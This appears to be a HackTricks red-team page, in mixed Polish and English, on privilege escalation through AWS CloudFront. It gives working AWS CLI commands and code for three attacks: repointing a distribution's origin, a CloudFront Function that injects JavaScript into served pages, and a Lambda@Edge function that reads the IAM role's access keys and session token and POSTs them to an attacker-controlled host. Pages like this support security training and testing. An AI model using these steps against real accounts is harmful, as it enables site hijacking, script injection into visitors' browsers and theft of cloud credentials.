AWS - CloudFront Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

Atakujący, który ma uprawnienia cloudfront:UpdateDistribution i cloudfront:GetDistributionConfig, może zmodyfikować konfigurację dystrybucji CloudFront. Nie potrzebuje uprawnień do docelowego bucketu S3, choć atak jest prostszy, jeśli ten bucket ma luźną politykę umożliwiającą dostęp podmiotowi usługi cloudfront.amazonaws.com.

Atakujący zmienia konfigurację origin dystrybucji, aby wskazywała na inny bucket S3 lub na serwer kontrolowany przez atakującego. Najpierw pobierają aktualną konfigurację dystrybucji:

aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Następnie edytują current-config.json, aby wskazać origin na nowy zasób — na przykład inny S3 bucket:

...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Na koniec zastosuj zmodyfikowaną konfigurację (musisz podać aktualny ETag podczas aktualizacji):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

# Utwórz złośliwą funkcję w CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Pobierz ETag funkcji na etapie DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Opublikuj funkcję na etapie LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};
# Spakuj funkcję Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Utwórz funkcję Lambda@Edge z uprzywilejowaną rolą
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Opublikuj wersję funkcji
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
# Zastosuj zaktualizowaną konfigurację dystrybucji (należy użyć bieżącego ETag)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Wywołaj funkcję, wysyłając żądanie do dystrybucji
curl -v https://<distribution-domain>.cloudfront.net/

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks